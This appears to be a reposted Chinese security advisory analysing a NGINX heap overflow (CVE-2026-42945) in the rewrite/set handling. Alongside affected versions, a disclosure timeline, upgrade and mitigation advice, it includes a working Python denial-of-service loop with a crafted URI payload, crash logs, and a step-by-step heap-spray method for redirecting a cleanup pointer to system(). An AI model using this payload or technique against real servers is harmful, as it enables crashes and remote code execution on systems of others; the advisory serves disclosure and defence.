文章总结: 研究人员发现NGINX存在长达18年的堆缓冲区溢出漏洞CVE-2026-42945(CVSS9.2),当配置同时使用rewrite和set指令时可触发无需认证的远程代码执行。影响开源版0.6.27-1.30.0及多款F5商业产品。建议立即升级至修复版本,若无法升级则审查配置避免rewrite与set组合使用,并监控含大量转义字符的异常请求。 综合评分: 87 文章分类: 漏洞分析,WEB安全,漏洞预警,漏洞POC
NGINX Rift:利用18年前的漏洞实现NGINX远程代码执行(CVE-2026-42945)
原创
404号浪漫 404号浪漫
404号浪漫
2026年5月14日 16:46 北京
在小说阅读器读本章
去阅读
0x01 核心速览
| | | | — | — | | 【事件】 | 【影响】 | | 安全研究人员对 NGINX 源代码进行分析,发现了一个存在长达 18 年的严重堆缓冲区溢出漏洞(CVE-2026-42945),并成功开发出无需认证的远程代码执行(RCE)概念验证 | 影响 NGINX 开源版 0.6.27 至 1.30.0、NGINX Plus R32 至 R36,以及多款 F5 旗下商业产品(WAF、DoS、Ingress Controller 等)。只要 NGINX 配置中使用了 rewrite 和 set 指令,就存在被远程攻击的风险。 |
#
0x02 正文解读
2.1-事件发现与确认
四月中旬,研究人员开始关注攻击底层 Web 服务器 NGINX 的可能性。研究团队使用内部自主系统 depthfirst 对 NGINX 源代码进行了分析,经过六小时扫描,系统识别出 5 个安全问题。2026年4月21日,研究人员通过 GitHub 安全公告向 NGINX 报告了这些问题,其中 4 个获得确认,具体如下:
CVE-2026-42945(严重,CVSS 9.2):ngx_http_rewrite_module 模块中的堆缓冲区溢出漏洞。CVE-2026-42946(高危,CVSS 8.3):ngx_http_scgi_module 和 ngx_http_uwsgi_module 中的过度内存分配问题。CVE-2026-40701(中等,CVSS 6.3):ngx_http_ssl_module 中的释放后使用漏洞。CVE-2026-42934(中等,CVSS 6.3):ngx_http_charset_module 中的越界读取问题。
2.2-技术机制简述:CVE-2026-42945 漏洞原理
CVE-2026-42945 是其中最严重的漏洞,于 2008 年引入,影响 NGINX 0.6.27 至 1.30.0 版本。该漏洞存在于 NGINX 脚本引擎处理 rewrite 和 set 指令的两阶段流程中
根本原因:
重写指令会根据正则表达式更改请求 URI。当请求匹配指定的模式时,NGINX 会将 URI 替换为一个新字符串。例如,rewrite ^/api/(.*)$ /v2/api/$1它会提取括号内(捕获组)的匹配部分,并使用变量将其附加到新路径$1。如果替换字符串包含问号,NGINX 会将字符串的其余部分视为查询字符串,并将原始请求参数附加到该字符串。
set指令用于为自定义变量赋值。这在实践中非常有用,例如临时存储原始请求的部分内容、动态路由端点,或在后续重写操作更改 URI 之前,在请求生命周期内维护状态。与 rewrite 指令类似,它还可以引用最近执行的正则表达式中的捕获组。例如,配置可以使用 set 指令将set
$original_path { rewrite ^/api/(.*)$ /internal?migrated=true; set $original_endpoint $1;}
由于状态发生意外变化,复制函数会将raw_size + 2 * N字节写入一个仅分配了 n 个字节的缓冲区raw_size,其中 nN是可转义字符的数量。第二次写入的转义输出变得显著增大。这种不匹配导致数据完全溢出已分配的缓冲区边界。
向目标服务发送一个包含 349 个字符 A 和 969 个字符 + 的恶意 GET 请求,简要DOS
import socketimport timewhile True: s = socket.socket() s.connect(("127.0.0.1", 19321)) # 核心恶意载荷:349个'A' + 969个'+' payload = "A" * 349 + "+" * 969 # 发送攻击请求 request = f"GET /api/{payload} HTTP/1.1\r\nHost: localhost\r\n\r\n" s.send(request.encode()) s.close() time.sleep(0.5) # 持续施压
errlog日志:
2026/05/14 07:01:00 [error] 34#0: *99 open() "/app/html%2B%2B%2B" failed (2: No such file or directory), client: 172.18.0.1, server: , request: "GET /api/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ HTTP/1.1",host: "localhost" double free or corruption (!prev) 2026/05/14 07:01:00 [alert] 7#0: worker process 34 exited on signal 6 (core dumped)
这个是dos脚本运行前的,Worker PID 从 99 变为 2693,说明原进程崩溃后被 master 重启
Every 0.1s: ps aux | grep nginx | grep -v grep65f09569f958: Thu May 14 07:06:45 2026 root 7 0.0 0.3 10276 6712 pts/0 S+ 06:37 0:00 nginx: master process /nginx-src/build/nginx -p /app -c /app/nginx.conf nobody 99 0.0 0.1 10644 3080 pts/0 S+ 07:04 0:00 nginx: worker process
这个是运行了2秒后的
Every 0.1s: ps aux | grep nginx | grep -v grep 65f09569f958: Thu May 14 07:07:23 2026 root 7 0.0 0.3 10276 6712 pts/0 S+ 06:37 0:00 nginx: master process /nginx-src/build/nginx -p /app -c /app/nginx.conf nobody 2693 0.0 0.1 10644 3080 pts/0 S+ 07:07 0:00 nginx: worker process
2.3-研究人员基于 CVE-2026-42945 开发了可行的 RCE 概念验证,利用方式分为以下步骤:
本节讨论在 ASLR 已被关闭的情况下如何利用此漏洞
该漏洞提供了一个高度可控的堆缓冲区溢出。通过在请求 URI 中填充加号,可以强制转义函数将每个字节扩展为三个字节,从而溢出已分配的内存块。溢出的大小完全由请求者提供的可转义字符的数量决定,因此完全由用户控制。
然而,面临一个重大限制。用于覆盖相邻内存的字节会经过 URI 解析器和转义函数。这意味着不能简单地注入任意字节。我们的有效载荷严格限制为 URI 安全字符。那么,如果没有空字节,如何构造指针呢?
覆盖 ngx_pool
为了将这种溢出转化为代码执行,需要一个可靠的目标。NGINX 使用内存池来管理每个连接和每个请求的内存分配。内存池由一个结构体定义ngx_pool_t,该结构体包含管理分配器状态所需的基本元数据。
struct ngx_pool_s { ngx_pool_data_t d; size_t max; ngx_pool_t *current; ngx_chain_t *chain; ngx_pool_large_t *large; ngx_pool_cleanup_t *cleanup; ngx_log_t *log;};
实验的最终目标是覆盖cleanup偏移量为 64 处的指针。该字段指向一个ngx_pool_cleanup_t结构体链表,其中保存着函数指针(handler)及其参数(data),以便在池被销毁时执行:
typedef void (*ngx_pool_cleanup_pt)(void *data);struct ngx_pool_cleanup_s { ngx_pool_cleanup_pt handler; void *data; ngx_pool_cleanup_t *next;};
然而,由于请求的堆溢出是连续的,这将会面临着一个巨大的挑战。为了到达指针cleanup,必须首先覆盖池结构中所有前面的字段:d,,,,和。maxcurrentchainlarge使用特有的 URI 安全填充字节(例如 <string> %2B)填充这些元数据字段,会彻底破坏内存池分配器的内部状态。如果受害连接尝试分配更多内存、从网络读取数据或处理更多数据,NGINX 必然会解引用其中一个被破坏的指针,从而提前崩溃。这种提前崩溃会彻底阻止攻击成功。
为了绕过这个问题,必须确保在数据损坏发生后立即销毁内存池,赶在任何损坏的分配字段被使用之前。该团队利用跨请求堆的“风水”技巧来实现这种完美的时机控制。攻击者通过连接顺序来控制堆布局和内存池的确切生命周期:
1、建立初始连接并发送部分请求头。NGINX 会为此连接分配一个请求池。2、打开第二个受害者连接,该连接分配一个与第一个受害者池完全相邻的受害者池。3、完成初始标头,触发重写溢出,直接从第一个池溢出到相邻的受害者池标头。4、立即关闭受害者连接,这将调用ngx_destroy_pool销毁受害者池。5、这种精确性够可靠地破坏受害者池头,而不会导致工作进程崩溃。这是因为在销毁池时,NGINX 会遍历cleanup链表,但不会触及池结构中任何已破坏的字段。之后,就会获得了解引用任意字段的基本能力ngx_pool_cleanup_s。
Spraying Fake ngx_pool_cleanup_s
溢出的数据受限于 URI 安全字符集,无法直接注入包含 \x00 的任意二进制指针。为此,利用 POST 请求体可携带任意二进制数据的特点,向堆中喷射伪造的 ngx_pool_cleanup_s 结构体(包含 system 地址和命令字符串)。通过多次请求控制堆布局,使喷射的结构体落在可预测的地址,再通过溢出将受害者池的 cleanup 指针指向该地址,从而在连接关闭时触发 system() 执行。与严格解析的 HTTP 头部或请求 URI 不同,POST 请求体被视为原始数据流,可以包含任意二进制有效载荷,包括空字节。于是构建了一个喷射有效载荷,其中包含一个指向 libcsystem函数的伪造清理结构,后跟用户提供的命令字符串。
for (c = pool->cleanup; c; c = c->next) { if (c->handler) { c->handler(c->data); }}
由于堆布局在不同工作进程间具有高度可预测性,则是通过 POST 请求投放的伪造结构体将落在固定的偏移量处。可以暴力破解伪造结构体落入的地址,并显式地过滤掉这些偏移量,找到一个完全由 URI 安全字节组成的地址。这保证了用于覆盖cleanup指针的地址在经过转义函数处理后仍然有效。需要注意的是,请求不能使用空字节进行溢出,只能覆盖cleanup指针的低位地址,使其指向投放的伪造ngx_pool_cleanup_s对象。最后,从客户端关闭受害者套接字,触发ngx_destroy_poolNGINX 工作进程,该进程会遍历pool->cleanup链表以执行所有已注册的处理程序,并执行攻击者注入的 system() 命令。
2.4-影响范围 该漏洞影响多个版本的 NGINX 及相关商业产品,具体如下:
NGINX 开源版 0.6.27 至 1.30.0NGINX Plus R32 至 R36NGINX 实例管理器 2.16.0 至 2.21.1F5 WAF for NGINX 5.9.0 至 5.12.1NGINX App Protect WAF 4.9.0 至 4.16.0、5.1.0 至 5.8.0F5 DoS for NGINX 4.8.0NGINX App Protect DoS 4.3.0 至 4.7.0NGINX Gateway Fabric 1.3.0 至 1.6.2、2.0.0 至 2.5.1NGINX Ingress Controller 3.5.0 至 3.7.2、4.0.0 至 4.0.1、5.0.0 至 5.4.1
2.5-事件时间线
2026年4月18日:使用 depthfirst 系统分析 NGINX 源码,发现 5 个内存损坏问题。
2026年4月21日:通过 GitHub 安全公告向 NGINX 报告。
2026年4月24日:NGINX 确认其中 4 个问题。
2026年4月28日:通知 NGINX 已开发出可运行的 RCE 概念验证。
2026年5月5日:向 NGINX 分享 RCE PoC 及演示视频。
2026年5月13日:F5 发布 NGINX 安全公告,本篇文章发布。
0x03 动作指引 3.1-版本升级与修复 F5 已发布安全公告。建议将所有受影响 NGINX 及商业产品尽快升级到已修补漏洞的版本。
https://my.f5.com/manage/s/article/K000160932
3.2-配置审核与缓解
若无法立即升级,应审查所有 NGINX 配置文件,检查是否存在 rewrite 指令与 set 指令在同一 location 上下文中组合使用的情况。尤其需关注 rewrite 替换字符串中是否包含问号(?),这是触发漏洞的必要条件。将所有受影响 rewrite 指令中未命名捕获组($1、$2)替换为命名捕获组。
3.3-攻击检测
监控包含大量加号(+)等可转义字符的异常 HTTP 请求 URI,这可能是针对本漏洞的溢出尝试。
监控 POST 请求体中是否包含指向 system 函数或类似命令执行函数的特征二进制结构。
3.4-概念POC
https://github.com/depthfirstdisclosures/nginx-rift
3.5-漏洞复现PCAP
https://github.com/Kai-One001/PCAP-For-Cybersecurity.rule/blob/main/2026/CVE-2026-42945-NGINX-Rift-RCE.pcap
0x04 参考链接
1.https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability
2.https://my.f5.com/manage/s/article/K000161019
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:404号浪漫 404号浪漫 404号浪漫《NGINX Rift:利用18年前的漏洞实现NGINX远程代码执行(CVE-2026-42945)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。












评论